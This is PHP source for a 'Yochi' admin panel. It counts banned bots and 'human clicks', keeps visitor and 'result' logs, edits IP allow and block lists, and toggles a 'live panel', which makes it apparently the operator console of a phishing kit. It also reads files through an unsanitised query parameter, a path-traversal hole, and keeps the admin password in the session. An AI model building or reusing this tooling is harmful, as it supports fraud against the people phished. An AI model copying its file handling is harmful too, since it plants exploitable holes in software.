<?php 
session_start();
$yochadminpage=1;
include '../home/includes/btm.php';
include 'includes/sec.php';
$head='&nbsp...&nbsp;';$pgctnt = '';
if(isset($_POST['pass']) || isset($_SESSION['ston'])){
	if((isset($_POST['pass']) && $_POST['pass']==$adminpass)){$_SESSION['ston']=$adminpass;header('location:./?'.time().'='.md5(uniqid()));}
	elseif((isset($_SESSION['ston']) && $_SESSION['ston']==$adminpass)){gresource("admin","bot");$control='goodpass';

	$ud=file_get_contents('includes/db.json');
	$udarray = json_decode($ud);
	$yo='';
	if(isset($_GET['p'])){@$yo=file_get_contents('includes/'.$_GET['p'].'.txt');die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
				<html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>...</title></head>
					<body>'.nl2br($yo).'</body></html>');exit();} 
	else{@$yo=file_get_contents('includes/yo.txt');@$wl=file_get_contents('../config/whitelist.txt');@$bl=file_get_contents('../config/blacklist.txt');};
	if($udarray->status == 'on'){$st = 'green';} else{$st = 'red';};
	if($udarray->live == 'on'){$lp = 'green';$sl = '<a href="live" class="stat btn">Go to Live</a>';} else{$lp = 'red';$sl = '';};
	$head='Yochi - Admin Panel';$pgctnt = '
<div class="dist">
<div style="font-size:18px;text-align:left;color:'.$st.';">PAGE TOGGLE<form method="post" action="proc" style="display:inline"><label class="switch"><input class="'.$udarray->status.'" type="submit" name="toggle" type="submit" value="on"><span class="slider round"></span></label></form></div>
<div style="font-size:18px;text-align:left;color:'.$lp.';">LIVE PANEL<form method="post" action="proc" style="display:inline"><label class="switch"><input class="'.$udarray->live.'" type="submit" name="toggleloop" type="submit" value="on"><span class="slider round"></span></label></form>'.$sl.'</div>
<div class="stathd">Visitor Statistics</div>
<span class="stat all"><span class="count">'.count($udarray->visits).'</span><br/><span class="desc">Total Visitors</span></span>
<span class="stat red"><span class="count">'.count($udarray->bots).'</span><br/><span class="desc">Banned Bots</span></span>
<span class="stat green"><span class="count">'.count($udarray->humans).'</span><br/><span class="desc">Human Clicks</span></span><br/>
<a href="./?p=yo" class="stat btn">View Visitors</a>
<a href="./?p=bots" class="stat btn">View Bots</a>
<form method="post" action="proc" onsubmit="return confirm(&quot;Are you sure you want to reset all your data?\r\nThis will reset your result logs too, please make sure you save them elsewhere\r\n&quot;);" style="display:inline;padding:5px;"><input name="clear" style="width:auto;" type="submit" value="RESET ALL DATA"/></form></div>
<div class="dist log">
<input style="width:auto;" id="se" class="opener" type="button" value="SETTINGS"/><input style="width:auto;" id="vi" class="opener focus" type="button" value="VISITS LOG"/>
<div class="viewlog se hide"><div class="stathd">SETTINGS</div>
<div class="settings"><div class="alert"></div><form method="post" action="proc" class="jsevent">
<label>Edit Whitelist IPs<br/><textarea name="whitelist" placeholder="Enter IPs here separated by newline">'.$wl.'</textarea></label><br/>
<label>Edit Blacklist IPs<br/><textarea name="blacklist" placeholder="Enter IPs here separated by newline">'.$bl.'</textarea></label><br/>
<label>Rearrange Page Order<br/><ul class="sortable">';
if(count($udarray->o)  < 1 ){$pgctnt .= '<div>Please load <a href="../../" target="_blank">main&nbsp;page</a> first </div>';} else{foreach($udarray->o as $i){$pgctnt .= '<li draggable="true" value="'.$i.'">'.$i.'<i>⩸</i></li>';};$pgctnt .= '<input type="hidden" name="order" value="'.implode(',',$udarray->o).'"/>';};
$pgctnt .= '</ul><i>** Drag and drop items to order pages as per your preference **</i></label><br/><br/><br/>
<input name="savesettings" style="width:auto;" class="settingsbtn" type="submit" value="SAVE SETTINGS"/><br/>
<i>** More settings coming to admin **</i></form>
</div></div>
<div class="viewlog vi"><div class="stathd">VISITS LOG</div>
<div class="console">'.nl2br($yo).'</div></div>
<script>  
document.querySelectorAll(".opener").forEach((o)=>{
	o.addEventListener("click",()=>{let id = o.id; document.querySelectorAll(".viewlog").forEach((v)=>{v.classList.add("hide");}); document.querySelector("."+id).classList.remove("hide");document.querySelectorAll(".opener").forEach((v)=>{v.classList.remove("focus");}); o.classList.add("focus");});
});
document.querySelectorAll(".sortable").forEach((list)=>{
	let draggedItem = null;
	list.addEventListener("dragstart", (e) => {
		draggedItem = e.target;setTimeout(() => {e.target.style.display = "none";e.target.classList.add("dragging");}, 0);
	});
	list.addEventListener("dragend", (e) => {
		setTimeout(() => {
			e.target.style.display = "";draggedItem = null;e.target.classList.remove("dragging");
			list.querySelector("input[type=hidden]").value = updateOrder();}, 0);
		const updateOrder = () => {
				let order = [];list.querySelectorAll("li").forEach((x)=>{order.push(x.getAttribute("value"));});return order.toString();
			};
	});
	list.addEventListener("dragover", (e) => {e.preventDefault();
		let afterElement = getDragAfterElement(list,e.clientY,e.clientX);
		if (afterElement == null) {list.appendChild(draggedItem);} else {list.insertBefore(draggedItem,afterElement);}
	});
	const getDragAfterElement = (container, y, x) => {
		const draggableElements = [...container.querySelectorAll("li:not(.dragging)"),];
		return draggableElements.reduce(
			(closest, child) => {
				const box = child.getBoundingClientRect();
				const offset = y - box.top - box.height / 2;
				const W_offset = x - box.left - box.width / 2;
				if (offset < 0 && offset > closest.offset) {return {offset: offset, element: child,};} 
				else if (W_offset < 0 && W_offset > closest.offset) {return {offset: W_offset, element: child,};} 
				else {return closest;};
			},{offset: Number.NEGATIVE_INFINITY,}).element;
	};
});
document.querySelectorAll(".jsevent").forEach((w)=>{
	w.addEventListener("submit",(event)=>{
		event.preventDefault();
		let linkup = "js";
		w.querySelectorAll(["input","textarea"]).forEach((i)=>{linkup = linkup+"&"+i.name+"="+i.value;})
		let xhttp = new XMLHttpRequest();
		xhttp.open("POST", "proc", true);
		xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		xhttp.send(linkup);
		xhttp.onload = function() {let respwidget = document.querySelector(".alert");let res=xhttp.responseText;if(res=="done"){respwidget.classList.add("good");respwidget.innerHTML="Done!!";setTimeout(()=>{respwidget.classList.remove("good");},5000);} else{};}
		});
});
setInterval(()=>{
	let xhttp = new XMLHttpRequest();
	xhttp.open("POST", "proc", true);
	xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhttp.send("getupdate=now");
	xhttp.onload = function() {
	if (xhttp.status == 200){
		let res=xhttp.responseText;
		res = JSON.parse(res);
		document.querySelector(".stat.all").querySelector(".count").innerHTML = res.visits;document.querySelector(".stat.red").querySelector(".count").innerHTML = res.bots;document.querySelector(".stat.green").querySelector(".count").innerHTML = res.humans;
		document.querySelector(".console").innerHTML = res.yo;
		}}
	
},1500);
</script>
</div>';}
	else{$control='wrongpass';};
}
else{$control='nopass';};
?>
<!DOCTYPE html>
<html>
<head>
<meta name='viewport' content='width=device-width,initial-scale=1.0'/>
<title>...</title>
<style>
*{padding:5px;box-sizing:border-box;}
html,body{margin:0;padding:0;font-family:verdana;font-size:15px;color:#fff;background-color:#333;background-repeat:no-repeat;min-height:100vh;}
.header{text-align:center;background-color:#262626;margin:0;padding:20px}
.stathd{padding:10px 0;font-size:20px;}
div{text-align:center;}
.stat{display:inline-block;height:140px;background-color:#262626;margin:5px;border-radius:5px;}
.stat.btn{display:inline-block;width:auto;height:auto;line-height:20px;padding:10px;color:#fff;text-decoration:none;}
.stat .desc{}
.stat .count{font-size:80px;}
.red{background-color:#800000;}
.green{background-color:#006600;}
.blue{background-color:#000066;}
form{width:100%;max-width:450px;margin: auto;padding:20px;}
form.jsevent{padding:7px 0;}
input{width:100%;height:40px;;font-size:13px;}
input[type=submit]{width:100%;height:40px;background-color:#ddd;font-size:13px;border:none;padding:5px 10px;color:#000;}
input[type=button]{width:100%;height:40px;background-color:#ddd;font-size:13px;border:none;padding:5px 10px;color:#000;margin:0px 5px;}
input[type=button].focus{background-color:#565656;color:#fff;}
textarea{min-height:75px;width:100%;margin:5px 0 10px;}
i{color:#7c7c7c;font-size:0.8em;}
.dist.log{padding-top:20px;}
.console{text-align:left;border-radius:5px;background-color:#8c8c8c;color:#060;width:90%;height:220px;margin:auto;overflow-y:auto;margin-top:20px;}
.settings{text-align:left;border-radius:5px;color:#fff;width:100%;height:auto;overflow-y:auto;padding:2px 10px;margin-bottom:200px;border:2px solid #46464e;border-width:0px 2px;}
.settings form *:not(textarea){}
.settings .settingsbtn {background-color:#006600;color:#fff;}
.sortable{list-style-type:none;margin:5px 0px;}
.sortable li{display:inline-block;background-color:#262626;padding:5px 12px;margin:5px 10px 5px 0px;cursor:grab;color:#fff;border-radius:0px;clear:both}
.sortable li i{float:right;}
.alert{height:30px;text-align:right;color:#fff;visibility:hidden;line-height:30px;padding:0;padding-right:30px;}
.alert.good{background-color:#060;visibility:visible;animation:hidewidg 6s 1;}
.alert.bad{background-color:#800;visibility:visible;animation:hidewidg 6s 1;}
@keyframes hidewidg{
    0%   {opacity: 1;}
    50%   {opacity: 1;}
    100% {opacity: 0;}}
.viewlog .stathd{border-bottom:1px solid #fff;}
.hide{display:none!important;}
@media only screen and (min-width:720px){
	.dist{float:left;width:60%;}
	.dist.log{width:40%;}
	.console{width:100%;height:480px;overflow-y:auto;}
	.settings{width:100%;height:auto;margin:auto;overflow-y:auto;}
	.viewlog, .viewlog .stathd{text-align:left!important;}
}

.switch {
  position: relative;
  display: inline-block;
  width: 60px;
  height: 34px;
}

/* Hide default HTML checkbox */
.switch input {
  opacity: 0;
  width: 0;
  height: 0;
}

/* The slider */
.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ccc;
  -webkit-transition: .4s;
  transition: .4s;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
}

input.on + .slider {
  background-color: #006600;
}
input.off + .slider {
  background-color: #800000;
}

input:focus + .slider {
  box-shadow: 0 0 1px green;
}

input.on + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(26px);
}

/* Rounded sliders */
.slider.round {
  border-radius: 34px;
}

.slider.round:before {
  border-radius: 50%;
}

</style>
</head>
<body>
<h1 class='header'>
<?php echo $head; ?>
</h1>
<div style='clear:both;display:<?php if($control=='goodpass'){echo 'block';} else{echo 'none';}?>'>
<?php echo $pgctnt; ?>
</div>
<div style='display:<?php if($control=='nopass' || $control=='wrongpass'){echo 'block';} else{echo 'none';}?>'>
<form method='post'>
<div class='red' style='visibility:<?php if($control=='wrongpass'){echo 'visible';} else{echo 'hidden';}?>'>
Fuck Outta Here !,<br/>Not Your Board, Come back when you've got the password
</div>
<input name='pass' placeholder='Enter your admin password'/>
<input type='submit' style='background-color:#262626;' value='Login'/>
</form>
</div>
</body>
</html>